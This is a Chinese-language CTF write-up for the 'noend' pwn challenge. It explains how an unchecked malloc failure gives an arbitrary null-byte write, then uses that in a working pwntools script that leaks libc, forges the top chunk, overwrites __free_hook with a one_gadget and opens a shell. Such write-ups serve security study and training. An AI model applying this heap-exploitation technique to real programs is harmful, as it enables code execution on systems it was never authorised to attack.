保护措施:
1 2 3 4 5
| Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
使用IDA查看程序,发现此题所存在的漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| while ( 1 ) { do { memset(&s, 0, 0x20uLL); read(0, &s, 0x1FuLL); size = strtoll(&s, 0LL, 10); buf = malloc(size); read(0, buf, size); *((_BYTE *)buf + size - 1) = 0; write(1, buf, (unsigned __int16)size); write(1, &unk_B54, 1uLL); } while ( size > 127 ); free(buf); }
|
在进行malloc时,并未检查是否malloc成功,malloc失败会返回0,导致后续存在任意地址写\x00的漏洞。首先需要泄漏libc的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| def sar(p, size, content): p.sendline(str(size)) sleep(0.3) p.send(content) sleep(0.3) p.recvuntil(content)
def pwn(): p = process('./noend') one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] context.update(log_level='debug') sar(p, 0x20, 'sunichi') sar(p, 0x30, 'sunichi') sar(p, 0x7f, 'sunichi') sar(p, 0x20, 'A' * 8) recv = p.recvuntil('\n', drop=True) main_arena_addr = u64(recv[0:8]) libc_base_addr = main_arena_addr - 0x3c4b78 free_hook = libc_base_addr + 0x3c67a8
|
根据free时,chunk合并的特性,能够使最后top chunk的fd和bk指向main_arena。malloc(0x20)后,其中的信息并不会清空,导致libc地址泄漏。
1 2 3
| p.sendline(str(main_arena_addr)) sleep(0.3) p.clean()
|
申请一个非常大的chunk,使libc重新申请arena。使用前述同样的方法泄漏地址。
1 2 3 4 5 6 7
| sar(p, 0x20, 'sunichi') sar(p, 0x30, 'sunichi') sar(p, 0x7f, 'sunichi') sar(p, 0x20, 'A' * 8) recv = p.recvuntil('\n', drop=True)[0:8] top_chunk_ptr = u64(recv) top_chunk = u64(recv) + 0x888
|
泄漏的地址指向top chunk,在这使用硬编码计算伪造的top chunk与泄漏的地址的偏移。(本地没问题,不知道remote会不会有问题,等端午放完假再问问师傅)
1 2 3 4 5
| sar(p, 0xf0, p64(libc_base_addr + one_gadget[3] + (free_hook - top_chunk - 0x10)) * (0xe8 / 8)) p.sendline(str(top_chunk_ptr + 1)) sleep(0.3) p.sendline() sleep(0.3)
|
接着对申请的chunk进行填充,填充的值为one_gadget_addr + (free_hook_addr - top_chunk_addr - 0x10)。继续申请一个很大的chunk,此时libc不会再有新的arena了,而是申请失败返回0,导致任意地址写入\x00。在这我们向指向top chunk的地址末位写入\x00,导致top chunk指针向前移动,指向了我们之前申请的chunk的content部分。此时,伪造top chunk完成。
1 2 3 4
| p.sendline(str(free_hook - top_chunk - 0x10)) sleep(0.3) p.sendline() sleep(0.3)
|
malloc(free_hook - top_chunk - 0x10),使得top chunk的size变为one_gadget_addr。同时top chunk的地址变为top_chunk_addr + free_hook - top_chunk - 0x10 = free_hook - 0x10,free_hook处被填入one_gadget_addr。随后获取shell。(注意地址对齐的问题)
1 2 3
| sar(p, 0x10, 'pwn') p.interactive() p.close()
|